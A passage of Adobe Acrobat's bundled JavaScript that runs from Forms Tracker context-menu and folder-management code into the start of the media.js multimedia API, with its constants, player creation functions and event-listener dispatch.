
									var item = selection[i].item;

									var extension = item.Extension;

									var formType = extension[fwMethod];

									if(formType != "SharedForm")

									{

										bHasEBF = true;

										break;

									}

								}

							}

						}



						RemoveMultipleSelectedForms(bIsInitiated && !bHasEBF);

				    }

			    };



				result[result.length] = { bSeparator: true };

	

				result[result.length] = 

				{

					cName: "MoveToFolder",

					cDisplayName: AnnotsString.IDS_REVIEW_PANEL_MOVE_TO_FOLDER,

					oSubMenu: 

					[

						{

							cName: "None",

							cDisplayName: AnnotsString.IDS_REVIEW_PANEL_FOLDER_NONE,

							onExecute: function(selection, doc)

							{

								var formIDs = new Array;

	

								for(var i = 0; i < selection.length; i++)

								{

									var type = selection[i].type;

									

									if(type == "item")

									{

										var item = selection[i].item;

										var extension = item.Extension;

										var formID = extension[fwDocID];

										formIDs[formIDs.length] = formID;

									}

								}

	

								SetFormFolderForMultipleForms(selection[0].feed.URL, formIDs, "");

							}

						},

						{

							bSeparator: true

						},

					]

				};

				

				var sendToMenu = result[result.length - 1].oSubMenu;

			    app.beginPriv();

			    var folders = FormWorkflow.getFormWorkflowFolders(selection[0].feed.URL);//the feed URL for the first selected item works here

			    app.endPriv();

	

				for(var i in folders)

				{

					var origFolderName = folders[i];

					

					if(app.platform == "WIN" || app.platform == "MAC")

					{

						folders[i] = folders[i].replace("&", "&&");//escape actual ampersand

					}

					else if (app.platform == "UNIX")

					{

						folders[i] = folders[i].replace("&", "_");//for underline

						folders[i] = folders[i].replace("_", "__");//escape actual underscore

					}



					sendToMenu[sendToMenu.length] = 

					{

						cName: origFolderName,

						cDisplayName: folders[i],

						onExecute: function(selection, doc)

						{

							var formIDs = new Array;

	

							for(var i = 0; i < selection.length; i++)

							{

								var type = selection[i].type;

								

								if(type == "item")

								{

									var item = selection[i].item;

									var extension = item.Extension;

									var formID = extension[fwDocID];

									formIDs[formIDs.length] = formID;

								}

							}

	

							SetFormFolderForMultipleForms(selection[0].feed.URL, formIDs, this.cName);

						}

					};

				}



			    return result;

		    }),



		    getItemContextMenu: app.trustedFunction(function(selection)

		    {

			    var result = new Array;



			    //Open

			    result[result.length] = 

			    {

				    cName: "OpenForm",

				    cDisplayName: AnnotsString.IDS_ATTACHLAUNCH_OPEN,

				    onExecute: function(selection)

				    {

					    app.launchURL(selection.item.Link);

				    }

			    };



			    //Separator

			    result[result.length] = { bSeparator: true };

    			

			    //End Data Collection

			    if(!app.viewerType.match(/Reader/))//End Data Collection should not be accessible in Reader

			    {

				    result[result.length] = 

				    {

					    cName: "EndDataCollection",

					    cDisplayName: getString("IDS_FORMS_TRACKER_END_DATA_COLLECTION_MENU"),

					    onExecute: function(selection, doc)

					    {

						    var docID = selection.item.Extension[fwDocID];

						    if(typeof docID != "undefined")

							    app.launchURL("acrobat:Forms?action=end&workflow=" + docID);

					    },

					    onEnabled: function(selection)

					    {

						    //check if we are the distributor

						    var bIsInitiated = selection.item.Extension[fwIsInitiated];

						    if(!bIsInitiated)

								return false;



							//check if it is a shared form workflow

						    var formType = selection.item.Extension[fwMethod];

						    var bIsSharedForm = (formType == "SharedForm");

						    if(!bIsSharedForm)

								return false;



							//check if the form workflow's state is not "end"

							var docID = selection.item.Extension[fwDocID];



							app.beginPriv();

						    var formsWorkflowInfo = FormWorkflow.getFormWorkflowInfo(docID);

						    app.endPriv();



							var cFormWorkflowState = formsWorkflowInfo.cState;

							var cFormWorkflowsFileState = formsWorkflowInfo.cStateAsPerWorkflowsFile;



							var bDataCollectionEnded = (cFormWorkflowsFileState == FORM_STATE_ENDED || cFormWorkflowState == FORM_STATE_ENDED);

							return !bDataCollectionEnded;

					    }

				    };

				    app.beginPriv();

				    result[result.length - 1].onEnabled = app.trustedFunction(result[result.length - 1].onEnabled);

				    app.endPriv();

			    }



			    //Remove Responses from Tracker

			    result[result.length] = 

			    {

				    cName: "RemoveResponses",

				    cDisplayName: getString("IDS_FORMS_TRACKER_REMOVE_RESPONSES_MENU"),

				    onExecute: function(selection, doc)

				    {

					    var docID = selection.item.Extension[fwDocID];

					    if(typeof docID != "undefined")

						    app.launchURL("acrobat:Forms?action=delete&workflow=" + docID);

				    },

				    onEnabled: function(selection)

				    {

					    //check if we are the distributor

					    var isInitiated = selection.item.Extension[fwIsInitiated];

					    return isInitiated;

				    }

			    };



			    //Remove Form from Tracker

			    result[result.length] = 

			    {

				    cName: "RemoveForm",

				    cDisplayName: getString("IDS_FORMS_TRACKER_REMOVE_FORM_MENU"),

				    onExecute: function(selection, doc)

				    {

						    var docID = selection.item.Extension[fwDocID];

						    if(typeof docID != "undefined")

							    app.launchURL("acrobat:Forms?action=removeForm&workflow=" + docID);	

				    },

				    onEnabled: function(selection)

				    {

					    //check if we are the submitter

					    var isInitiated = selection.item.Extension[fwIsInitiated];

					    return !isInitiated;

				    }

			    };



			    //Separator

			    result[result.length] = { bSeparator: true };



			    //Email Initiator

			    result[result.length] = 

			    {

				    cName: "EmailInitiator",

				    cDisplayName: getString("IDS_FORMS_TRACKER_EMAIL_INITIATOR_MENU"),

				    onExecute: function(selection, doc)

				    {

						    var docID = selection.item.Extension[fwDocID];

						    if(typeof docID != "undefined")

							    app.launchURL("acrobat:Forms?action=emailInitiator&workflow=" + docID);

				    },

				    onEnabled: function(selection, doc)

				    {

					    var isInitiated = selection.item.Extension[fwIsInitiated];

					    return (typeof isInitiated == "undefined" || !isInitiated);

				    }

			    };



			    //Email All Recipients

			    result[result.length] = 

			    {

				    cName: "EmailReviewers",

				    cDisplayName: getString("IDS_FORMS_TRACKER_EMAIL_ALL_MENU"),

				    onExecute: function(selection, doc)

				    {

						    var docID = selection.item.Extension[fwDocID];

						    if(typeof docID != "undefined")

							    app.launchURL("acrobat:Forms?action=emailAll&workflow=" + docID);

				    },

				    onEnabled: function(selection, doc)

				    {

					    var isInitiated = selection.item.Extension[fwIsInitiated];

					    return isInitiated;

				    }

			    };



			    //Add Recipients

			    result[result.length] = 

			    {

				    cName: "Invite",

				    cDisplayName: getString("IDS_FORMS_TRACKER_INVITE_MENU"),

				    onExecute: function(selection, doc)

				    {

						    var docID = selection.item.Extension[fwDocID];

						    if(typeof docID != "undefined")

							    app.launchURL("acrobat:Forms?action=invite&workflow=" + docID);

				    },

				    onEnabled: function(selection, doc)

				    {

					    var isInitiated = selection.item.Extension[fwIsInitiated];

					    if(!isInitiated)

					    	return false;



					    var formType = selection.item.Extension[fwMethod];

					    var bIsSharedForm = (formType == "SharedForm");

					    if(!bIsSharedForm)

					    	return true;



					    var cFormWorkflowID = selection.item.Extension[fwDocID];



						app.beginPriv();					    	

					    var formsWorkflowInfo = FormWorkflow.getFormWorkflowInfo(cFormWorkflowID);

						app.endPriv();



					    var cDistributionMethod = formsWorkflowInfo.cDistributionMethod;

					    if(cDistributionMethod == "Manual")

					    	return false;



					    var cFormWorkflowState = formsWorkflowInfo.cState;

					    var cFormWorkflowsFileState = formsWorkflowInfo.cStateAsPerWorkflowsFile;

					    

					    var bDataCollectionEnded = (cFormWorkflowsFileState == FORM_STATE_ENDED || cFormWorkflowState == FORM_STATE_ENDED) ? true : false;



						return !bDataCollectionEnded;

				    }

			    };

			    app.beginPriv();

			    result[result.length - 1].onEnabled = app.trustedFunction(result[result.length - 1].onEnabled);

			    app.endPriv();



			    //Email non-respondents

			    result[result.length] = 

			    {

				    cName: "EmailNonRespondents",

				    cDisplayName: getString("IDS_FORMS_TRACKER_EMAIL_NON_RESPONDENTS_MENU"),

				    onExecute: function(selection, doc)

				    {

						    var docID = selection.item.Extension[fwDocID];

						    if(typeof docID != "undefined")

							    app.launchURL("acrobat:Forms?action=emailNonRespondents&workflow=" + docID);

				    },

				    onEnabled: function(selection, doc)

				    {

					    var isInitiated = selection.item.Extension[fwIsInitiated];

					    if(!isInitiated)

					    	return false;



					    var cFormWorkflowID = selection.item.Extension[fwDocID];



						app.beginPriv();					    	

					    var formsWorkflowInfo = FormWorkflow.getFormWorkflowInfo(cFormWorkflowID);

						app.endPriv();

							

						return !(formsWorkflowInfo.bAllowAnonymous);

				    }

			    };

			    app.beginPriv();

			    result[result.length - 1].onEnabled = app.trustedFunction(result[result.length - 1].onEnabled);

			    app.endPriv();



			    //Separator

			    result[result.length] = { bSeparator: true };



					if(!app.viewerType.match(/Reader/))//Convert to PDF shall not be accessible in Reader

					{



						result[result.length] = 

						{

							cName: "ConvertToPDF",

							cDisplayName: AnnotsString.IDS_REVIEW_PANEL_CREATE_PDF_FROM_TRACKER_DETAILS,

							onExecute: function(selection)

							{

								app.launchURL("acrobat:Review?convertToPDF");

							}

						};



						//Separator

						result[result.length] = { bSeparator: true };

					}



			    result[result.length] = 

			    {

				    cName: "CreateNewFolder",

				    cDisplayName: AnnotsString.IDS_REVIEW_PANEL_CREATE_NEW_FOLDER,

				    onExecute: function(selection, doc)

				    {

					    var url = selection.feed.URL;

					    FormsTrackerAddNewFolder(url);

				    },

			    };



			    result[result.length] = 

			    {

				    cName: "MoveToFolder",

				    cDisplayName: AnnotsString.IDS_REVIEW_PANEL_MOVE_TO_FOLDER,

				    oSubMenu: 

				    [

					    {

						    cName: "None",

						    cDisplayName: AnnotsString.IDS_REVIEW_PANEL_FOLDER_NONE,

						    onExecute: function(selection, doc)

						    {

							    var ext = selection.item.Extension;



							    // Add the item to the folder

							    FormsTrackerSetFormFolder(selection.feed.URL, ext[fwDocID], "");

						    }

					    },

					    {

						    bSeparator: true

					    },

				    ]

			    };

    			

			    var sendToMenu = result[result.length - 1].oSubMenu;

			    app.beginPriv();

			    var folders = FormWorkflow.getFormWorkflowFolders(selection.feed.URL);

			    app.endPriv();



			    for(var i in folders)

			    {

					var origFolderName = folders[i];

					

					if(app.platform == "WIN" || app.platform == "MAC")

					{

						folders[i] = folders[i].replace("&", "&&");//escape actual ampersand

					}

					else if (app.platform == "UNIX")

					{

						folders[i] = folders[i].replace("&", "_");//for underline

						folders[i] = folders[i].replace("_", "__");//escape actual underscore

					}



				    sendToMenu[sendToMenu.length] = 

				    {

						    cName: origFolderName,

						    cDisplayName: folders[i],

						    onExecute: function(selection, doc)

						    {

							    var item = selection.item;

							    var feed = selection.feed;

							    var ext = item.Extension;

								

							    FormsTrackerSetFormFolder(selection.feed.URL, ext[fwDocID], this.cName);

						    }

				    };

			    }



			    return result;

		    }),



		    supportsMultipleSelection: function() { return true; },

    		

		    isCompatibleForMultipleSelectionWith: function(driverURL)

		    {

			    if(driverURL == "urn://ns.adobe.com/Acrobat/Tracker/UI/FormsSuperGroup" || driverURL == "urn://ns.adobe.com/Acrobat/Tracker/UI/FormsTracker")

				    return true;

			    else

				    return false;

		    },



		    canDeleteFeed: function(selection)

		    {

			    return false;

		    },



			canDeleteFeedWhileMultipleSelect: function(selection)

			{

				return false;

			},



		    canDeleteItem: function(selection)

		    {

			    return true;

		    },



		    onDeleteItem: function(selection)

		    {

			    var feed = selection.feed;

			    var docID = selection.item.Extension[fwDocID];

			    var isInitiated = selection.item.Extension[fwIsInitiated];

			    if(isInitiated)

			    {

				    if(typeof docID != "undefined")

					    app.launchURL("acrobat:Forms?action=delete&workflow=" + docID);

			    }

			    else

			    {

				    if(typeof docID != "undefined")

					    app.launchURL("acrobat:Forms?action=removeForm&workflow=" + docID);

			    }

		    },



			canDeleteItemWhileMultipleSelect: function(selection)

			{

				return true;

			},

	

			onDeleteItemWhileMultipleSelect: function(selection)

			{

				return FormsTrackerRemoveFormWhileMultipleSelect(selection.item);

			},

	

			onDeleteAllMultipleSelected: function(selection)

			{

				//check if we are the initiator

				var aFeedURL = selection[0].feed.URL.split(/#/);

				var bIsInitiated = (aFeedURL[0] == cFormsIveSentURL) ? true : false;

	

				var bHasEBF = false;

				

				if(bIsInitiated)

				{

					//check if there is any EBR or BBR in the selected items

					for(var i = 0; i < selection.length; i++)

					{

						var type = selection[i].type;

						

						if(type == "item")

						{

							var item = selection[i].item;

							var extension = item.Extension;

							var formType = extension[fwMethod];

							if(formType != "SharedForm")

							{

								bHasEBF = true;

								break;

							}

						}

					}

				}



				return RemoveMultipleSelectedForms(bIsInitiated && !bHasEBF);

			},



		    canDeleteGroup: function(selection)

		    {

			    return true;

		    },



		    onDeleteGroup: function(selection)

		    {

			    var url = selection.feed.URL;

			    var group = selection.group;



			    if(typeof group != "undefined")

			    {

				    FormsTrackerRemoveFolder(url, group);

				    return true;

			    }

			    else

				    return false;

		    },



			canDeleteGroupWhileMultipleSelect: function(selection)

			{

				return true;

			},

	

			onDeleteGroupWhileMultipleSelect: function(selection)

			{

				var url = selection.feed.URL;

				var group = selection.group;

	

				if(typeof group != "undefined")

				{

					FormsTrackerRemoveFolderWhileMultipleSelect(url, group);

					return true;

				}

				else

					return false;

			},



		    canChangeGroups: function()

		    {

			    return true;

		    },

		    canModifyItemGroup: function(selection, src, dst)

		    {

			    return true;

		    },



		    modifyItemGroup: function(selection, src, dst) 

		    {

			    var item = selection.item;

			    var feed = selection.feed;

			    var ext = item.Extension;

    			

			    app.beginPriv();

			    var folders = FormWorkflow.getFormWorkflowFolders(feed.URL);

			    app.endPriv();



			    if(dst.length == 0 && src.length != 0)

			    {

				    FormWorkflow.setFormWorkflowFolder(feed.URL, ext[fwDocID], "");

				    return;

			    }

                

			    for(var i in dst)

			    {

				    var newFolder = null;

				    for(var j in folders) 

				    {

					    if(dst[i] == folders[j]) 

						    newFolder = folders[j];

				    }



				    if(newFolder != null)

				    {

					    FormWorkflow.setFormWorkflowFolder(feed.URL, ext[fwDocID], newFolder);

					    break;

				    }

			    }

		    }

	    };

	    ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



	    ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

	    // Forms Super Group UI

	    var oFormsSuperGroupUI = 

	    {

		    createContext: function()

		    {

			    var result =

			    {

				    //General strings

				    cIveSent: getString("IDS_FORMS_TRACKER_MY_FORMS"),

				    cIveReceived: getString("IDS_FORMS_TRACKER_PARTICIPANT_FORMS"),

				    cFormsSuperGroup: getString("IDS_FULL_NAME"),



				    onSelectionChanged: function(dialog)

				    {

					    this.showEmptyView(dialog);

				    },

    				

				    showEmptyView: function(dialog)

				    {

					    try

					    {

						    var LINK = function(scheme, s) { return scheme + ":" + s; }



						    XML.setSettings({ignoreComments: false});



						    var isReader = app.viewerType == "Reader";



						    //do not display Distributed Forms Link in Reader

						    var cVisibleMyForms = isReader ? "display:none" : "";



						    var viewXHTML = 

							    <html xmlns="http://www.w3.org/1999/xhtml">

								    <head>

									    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

									    <link href="AdobeTracker/main.css" rel="stylesheet" type="text/css" />

								    </head>

    							

								    <body>

									    <div class="bread_crumb">

										    {this.cFormsSuperGroup} &gt;

									    </div>

    									

									    <div class="super_group_page">

									    	<span class="forms-super-iconic"><span style="font-weight:bold;">{this.cFormsSuperGroup}</span></span>

										    <br />

										    <br />

										    <p style="line-height:25px;">

											    <span style={cVisibleMyForms}>&#8226; <a href={cFormsIveSentFeedLink}><span class="blueLink">{this.cIveSent}</span></a> <br /></span>

											    <span>&#8226; <a href={cFormsIveReceivedFeedLink}><span class="blueLink">{this.cIveReceived}</span></a> <br /></span>

										    </p>

									    </div>

								    </body>

							    </html>



						    var stm = util.streamFromString(viewXHTML.toXMLString(), "utf-8");

						    dialog.load({"html": stm});

					    }

					    catch(e)

					    {

						    console.println("EXCEPTION: " + e);

						    console.println(e.stack);

						    myFormsTrackerDebugAlert("EXCEPTION: " + e);

						    myFormsTrackerDebugAlert(e.stack);

					    }

				    },



				    // The Dialog Description

				    description:

				    {

					    name: "Panel",

					    elements:					// Child Element Array

					    [

						    {

							    type: "view", 

							    align: "align_center",

							    align_children: "fill",

							    elements: 						// Child Element Array

							    [

								    {

									    type: "html_view", 

									    item_id: "html"

								    }

							    ]

						    }

					    ]

				    }

			    };



			    return result;

		    },



		    getGroupContextMenu: app.trustedFunction(function(selection)

		    {

			    var result = new Array;

    			

			    result[result.length] = 

			    {

				    cName: "Expand",

				    cDisplayName: AnnotsString.IDS_PANEL_EXPAND,

				    onExecute: function(selection, doc)

				    {

					    TrackerExpandSelection();

				    },

    				

				    onEnabled: function(selection, doc)

				    {

					    return TrackerCanExpandSelection(selection.feed.URL);

				    }

			    };



			    result[result.length] = 

			    {

				    cName: "Collapse",

				    cDisplayName: AnnotsString.IDS_PANEL_COLLAPSE,

				    onExecute: function(selection, doc)

				    {

					    TrackerCollapseSelection();

				    },

    				

				    onEnabled: function(selection, doc)

				    {

					    return TrackerCanCollapseSelection(selection.feed.URL);

				    }

			    };

    			

			    return result;

		    }),



		    canDeleteFeed: function(selection) { return false; },

		    canDeleteItem: function(selection) { return false; },

	    };

	    ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



	    app.beginPriv();

	    RSS.addUI("urn://ns.adobe.com/Acrobat/Tracker/UI/FormsSuperGroup", oFormsSuperGroupUI);

	    RSS.addUI("urn://ns.adobe.com/Acrobat/Tracker/UI/FormsTracker", oFormsTrackerUI);

	    app.endPriv();

    }

    catch(e)

    {

	    console.println(e.extMessage);

    }

}



// ADOBE SYSTEMS INCORPORATED

// Copyright 2003 Adobe Systems Incorporated

// All Rights Reserved



// NOTICE: Adobe permits you to use, modify, and distribute this file in

// accordance with the terms of the Adobe license agreement accompanying it.

// If you have received this file from a source other than Adobe, then your use,

// modification, or distribution of it requires the prior written permission of Adobe.



// media.js - Adobe Acrobat multimedia support



// The app and app.media properties and methods in this file are part of the public Acrobat

// Multimedia API and may be used in your PDF JavaScript, EXCEPT where the name includes "priv"

// or is otherwise noted as private. DO NOT USE any of these private properties or methods in

// a PDF file, or YOUR PDF WILL BREAK in a future version of Acrobat.



// Greetings and thanks from the Acrobat Multimedia development team:

// Dylan Ashe - Multimedia Framework and QuickTime

// Michael Geary - JavaScript, Windows Media, Flash

// Scott Grant - User Interface, Authoring, Sound, PDF File Access

// Vivek Hebbar - Windows Built-in Player and Authoring

// Liz McQuarrie - RealOne Player and Browsers

// Ed Rowe - Project Lead and Mr. PDF

// Jason Beique, Paul Herrin, Renato Maschion, Jason Reuer, Xintai Chang - QA and Developer Tech





// entire initialization in this function



function InitializeMultimediaJS()

{

    try

    {



    // Multimedia version number



    app.media.version = 7.0;





    // Set app.media.trace = true to enable method and event tracing in this code.

    // Note: app.media.trace is for testing only and will change in future versions.



    app.media.trace = false;





    // The app.media.* constants below are passed back and forth between C++ and JavaScript code.

    // Always use these symbolic definitions instead of hard coded values, e.g.

    //   settings.windowType = app.media.windowType.floating;  /* NOT settings.windowType = 2; */



    // PDF files may be opened under both newer and older versions of Acrobat.

    // Future versions of Acrobat may add new values to these lists. Your JavaScript code should

    // gracefully handle any values it encounters beyond those listed here.

    // Similarly, if you write JavaScript code for a future version of Acrobat, that code should

    // check app.media.version before it depends on new app.media.* constant values added in

    // that version. The lists below are marked to indicate which versions support which constants.





    // Values for settings.layout



    app.media.layout =

    {

	    meet:		1,	// scale to fit all content, preserve aspect, no clipping, background fill

	    slice:		2,	// scale to fill window, preserve aspect, clip X or Y as needed

	    fill:		3,	// scale X and Y separately to fill window

	    scroll:		4,	// natural size with scrolling

	    hidden:		5,	// natural size with clipping

	    standard:	6	// use player's default settings

	    // End 6.0 values

    }





    // Values for settings.windowType



    app.media.windowType =

    {

	    docked:		1,

	    floating:	2,

	    fullScreen:	3

	    // End 6.0 values

    }





    // Values for settings.monitorType



    app.media.monitorType =

    {

	    document:		1,

	    nonDocument:	2,

	    primary:		3,

	    bestColor:		4,

	    largest:		5,

	    tallest:		6,

	    widest:			7

	    // End 6.0 values

    }





    // Values for settings.floating.align



    app.media.align =

    {

	    topLeft:		1,

	    topCenter:		2,

	    topRight:		3,

	    centerLeft:		4,

	    center:			5,

	    centerRight:	6,

	    bottomLeft:		7,

	    bottomCenter:	8,

	    bottomRight:	9

	    // End 6.0 values

    }





    // Values for settings.floating.canResize



    app.media.canResize =

    {

	    no:			1,

	    keepRatio:	2,

	    yes:		3

	    // End 6.0 values

    }





    // Values for settings.floating.over



    app.media.over =

    {

	    pageWindow:	1,

	    appWindow:	2,

	    desktop:	3,

	    monitor:	4

	    // End 6.0 values

    }





    // Values for settings.floating.ifOffScreen



    app.media.ifOffScreen =

    {

	    allow:			1,

	    forceOnScreen:	2,

	    cancel:			3

	    // End 6.0 values

    }





    // Default value for settings.visible



    app.media.defaultVisible = true;





    // Values for rendition.type



    app.media.renditionType =

    {

	    unknown:	0,		// rendition type not recognized by Acrobat

	    media:		1,

	    selector:	2

	    // End 6.0 values

    }





    // Values for event.media.code in Status event



    app.media.status =

    {						// event.media.text contains:

	    clear:		 1,		// empty string - clears any message

	    message:	 2,		// general message

	    contacting:	 3,		// hostname being contacted

	    buffering:	 4,		// percent complete

	    init:		 5,		// name of the player being initialized

	    seeking:	 6		// nothing

	    // End 6.0 values

    }





    // Values for event.media.closeReason in Close event



    app.media.closeReason =

    {

	    general:	 1,

	    error:		 2,

	    done:		 3,

	    stop:		 4,

	    play:		 5,

	    uiGeneral:	 6,

	    uiScreen:	 7,

	    uiEdit:		 8,

	    docClose:	 9,

	    docSave:	10,

	    docChange:	11

	    // End 6.0 values

    }





    // Values for player.open() return value



    app.media.openCode =

    {

	    success:					0,

	    failGeneral:				1,

	    failSecurityWindow:			2,

	    failPlayerMixed:			3,

	    failPlayerSecurityPrompt:	4,

	    failPlayerNotFound:			5,

	    failPlayerMimeType:			6,

	    failPlayerSecurity:			7,

	    failPlayerData:				8

	    // End 6.0 values

    }





    // Values for Error.raiseSystem



    app.media.raiseSystem =

    {

	    fileError:	10

    }





    // Values for Error.raiseCode



    app.media.raiseCode =

    {

	    fileNotFound:	17,

	    fileOpenFailed:	18

    }





    // In a PDF event, these event.name values indicate page-level actions.



    app.media.pageEventNames =

    {

	    Open:		true,

	    Close:		true,

	    InView:		true,

	    OutView:	true

    }





    // Create and return a MediaPlayer without opening it.  Explicit values can be provided for all

    // the arguments listed below. If this function is called from a rendition action, it will get

    // the annot, rendition, and doc values from the event object if they are not explicitly provided.

    // Returns player, or null on failure. Does not throw exceptions.

    // Any failures are reported to user, and result in null being returned.

    // Events may be fired as a result of closing an existing player (see below).

    // Unless noStockEvents is true, stock event handlers are added to the returned player,

    // and will be added to the annot (if present) when player.open() is called later.



    // player = app.media.createPlayer({

    //     doc: Doc, /* Required if both annot and rendition are omitted, e.g. for URL playback */

    //     annot: ScreenAnnot, /* Required for docked playback unless it is found in the Event object

    //       or settings.page is provided. The new player is associated with the annot. If a player

    //       was already associated with the annot, it is stopped and closed. */

    //     rendition: MediaRendition or RenditionList, /* Required unless rendition found in Event,

    //       or URL is present */

    //     URL: String, /* Either URL or rendition is required, with URL taking precedence */

    //     mimeType: string, /* Optional, ignored unless URL is present. If URL is present, either

    //       mimeType or settings.players, as returned by app.media.getPlayers(), is required */

    //     settings: MediaSettings, /* Optional, overrides the rendition settings */

    //     events: EventListener, /* Optional (if stock events are used, added after stock events) */

    //     noStockEvents: Boolean, /* Optional, default = false, use stock events or not */

    //     fromUser: Boolean, /* Optional, default depends on Event object */

    //     showAltText: Boolean, /* Optional, default = true */

    //     showEmptyAltText: Boolean /* Optional, default= ! fromUser */

    // });



    app.media.createPlayer = function( args )

    {

	    try

	    {

		    return app.media.priv.createPlayer( app.media.argsDWIM( args ) );

	    }

	    catch( e )

	    {

		    app.media.alert( 'Exception', args, { error: e } );

		    return null;

	    }

    }





    // Create, open, and return a MediaPlayer. See app.media.createPlayer() for argument details

    // and other information.

    // This method fires several events which may include Open, Ready, Play and Focus.

    // Returns player, or null on failure. Does not throw exceptions.

    // Any failures are reported to user.



    app.media.openPlayer = function( args )

    {

	    var player = null;

	    try

	    {

		    // Do our own DWIM here to make sure args.doc is set in case of error

		    args = app.media.argsDWIM( args );



		    player = app.media.createPlayer( args );

		    if( player )

		    {

			    var result = player.open();

			    if( result.code != app.media.openCode.success )

			    {

				    player = null;

				    app.media.alert( 'Open', args, { code: result.code } );

			    }

			    else if( player.visible )

				    player.setFocus();	// fires Focus event

		    }

	    }

	    catch( e )

	    {

		    player = null;

		    app.media.alert( 'Exception', args, { error: e } );

	    }



	    return player;

    }





    // Open a new media player using the current event or explicit args as in app.media.createPlayer().

    // If an annot is provided or found in event object, and there is already a player open for that

    // annot, then start or resume playback on that player.

    // See app.media.openPlayer for argument details and other information.

    // Returns player, or null on failure. Does not throw exceptions.

    // Any failures are reported to user.



    app.media.startPlayer = function( args )

    {

	    try

	    {

		    args = app.media.argsDWIM( args );



		    var player = args.annot && args.annot.player;

		    if( player && player.isOpen )

			    player.play();  // already opened, resume play

		    else

			    player = app.media.openPlayer( args );  // open a new player



		    return player;

	    }

	    catch( e )

	    {

		    app.media.alert( 'Exception', args, { error: e } );

		    return null;

	    }

    },





    // app.media.Events constructor and prototype



    // The Events constructor, events.add, and events.remove methods each takes any number of

    // arguments, where each argument can be either an event listener object or a previously

    // constructed app.media.Events object. The constructor and add() method add each listener

    // object to the Events object, and the remove() method removes listener objects.



    // An event listener object is a collection of event methods and optional custom properties or

    // methods. Any method whose name matches /^on[A-Z]/ or /^after[A-Z]/ is an event method. Custom

    // methods and properties in an event listener should use names that do not match these case

    // sensitive patterns.



    // When an event listener method is called, 'this' is the event listener object. The event

    // listener can have custom properties like any other object. If an event listener is nested

    // inside another function (such as a constructor), then the event methods can also directly

    // access any variables defined in the parent function, even when the event method is called

    // after the parent function returns.



    // The same event listener object may be added into more than one Events object. The object is

    // not copied; each Events object has a reference to the original event listener object, so any

    // properties of the listener object are shared by every Events object it is added to.



    // Implementation note:

    // An app.media.Events object has a listeners property which is a object containing

    // onVariousEvent and afterVariousEvent properties. Each of these properties is an array of

    // references to event listener objects which contain the event methods.

    // So, for example, after this call:

    //   var events = new app.media.Events({ onPlay: function(e){} });

    // events.listeners.onPlay[0] is a reference to a new { onPlay: function(e){} } object, and

    // events.listeners.onPlay[0].onPlay is a reference to the onPlay method.



    app.media.Events = function()

    {

	    this.listeners = {};			// start with empty listeners object

	    this.dispatching = 0;			// not currently dispatching any events

	    this.removed = {};				// listener names that need delayed removal

	    this.privAddRemove( arguments, this.privAdd );  // add any event listener object arguments

    }





    app.media.Events.prototype =

    {





    // Add any number of event listener objects or other app.media.Events objects.

    // events.add() may be called inside an event listener method, and any new listeners that are

    // added for the current event will be called for that same event.

    // If the same listener object is added twice, the second add is ignored.

    // Listeners for a given event (e.g. onClose) are called in the order in which they were added.



    // events.add( event listener or app.media.Events object(s) )



    add: function()

    {

	    this.privAddRemove( arguments, this.privAdd );

    },





    // Remove any number of event listener objects or other app.media.Events objects.

    // events.remove() may be called inside an event listener method, to remove the current listener

    // or any other.



    // events.remove( event listener or app.media.Events object(s) )



    remove: function()

    {

	    this.privAddRemove( arguments, this.privRemove );

    },





    // Private method for events.add() and events.remove().

    // Loop through all the listener methods in each argument and call doAddRemove for every one.



    privAddRemove: function( args, doAddRemove )

    {

	    for( var i = 0;  i < args.length;  i++ )  // for each event listener object argument in passed array

	    {

		    var events = args[i];

		    if( events.listeners )

		    {

			    // It's an app.media.Events object, add or remove every listener in each array

			    for( var name in events.listeners )

			    {

				    var array = events.listeners[name];

				    for( var j = 0;  j < array.length;  j++ )

				    {

					    doAddRemove.call( this, array[j], name );

				    }

			    }

		    }

		    else

		    {

			    // It's an event listener object, add or remove each method

			    for( var name in events )

			    {

				    // Only interested in onFoo and afterFoo methods, not custom properties

				    if( name.search(/^on[A-Z]/) == 0  ||  name.search(/^after[A-Z]/) == 0 )

				    {

					    doAddRemove.call( this, events, name );

				    }

			    }

		    }

	    }



	    this.privSetDispatch();  // Add or remove the dispatch() method as needed

    },





    // Private method for events.add().

    // Adds a reference to a listener object into events.listeners[name]

    // Does nothing if listener already added.



    privAdd: function( listener, name )

    {

	    if( typeof(listener) != "object"  ||  typeof(listener[name]) != "function" )

		    return;  // not a valid object and method



	    var array = this.listeners[name];  // get our existing event listener array

	    if( ! array )

	    {

		    this.listeners[name] = [ listener ];  // no array yet, add array with one listener object

	    }

	    else  // we have a listener array, append listener to it if it's not already present

	    {

		    for( var i = 0;  i < array.length;  i++ )

		    {

			    if( array[i] === listener )

				    return;  // already present, don't add another

		    }



		    array[i] = listener;  // append listener to array

	    }

    },





    // Private method for events.remove().

    // Removes a listener object reference from events.listeners[name]



    privRemove: function( listener, name )

    {

	    var array = this.listeners[name];  // existing event listener array

	    if( ! array )

		    return;  // no listeners with this name



	    for( var i = 0;  i < array.length;  i++ )  // Look for the listener object in the array

	    {

		    if( array[i] === listener )

		    {

			    // Found the listener in the array, decide what to do with it

			    if( this.dispatching )  // Can't remove while dispatching, mark for later removal

				    array[i] = null,  this.removed[name] = this.needCleanup = true;

			    else if( array.length > 1 )

				    array.splice( i, 1 );  // Remove listener from array

			    else

				    delete this.listeners[name];  // Last one, remove array entirely



			    return;  // Listener is already in the array

		    }

	    }

    },





    // Private function for events.add(), events.remove() and events.privCleanup().

    // Sets or deletes the dispatch method depending on whether there are any event listeners.



    privSetDispatch: function()

    {

	    for( var name in this.listeners )  // are there any listeners?

	    {

		    this.dispatch = this.privDispatch;  // found a listener, set the dispatch method

		    return;

	    }



	    delete this.dispatch;  // no listeners, remove the dispatch method

    },





    // events.privDispatch() is a private method that contains the code for events.dispatch().

    // To dispatch an event, C++ code calls events.dispatch(), only if that method exists.

    // The rest of the event dispatching machinery is implemented in JavaScript.

    // We turn event dispatching on and off dynamically by setting and removing the events.dispatch

    // property, which is a reference to events.privDispatch().

    // If you call events.dispatch() directly from JavaScript, event.target.doc or event.media.doc

    // must match the current document.

    // You can implement your own event dispatcher from scratch by providing an events object

    // with a dispatch method that takes an event argument as this method does.

    // This function is reentrant.



    privDispatch: function( event )

    {

	    if( !event.media )

		    event.media = {};



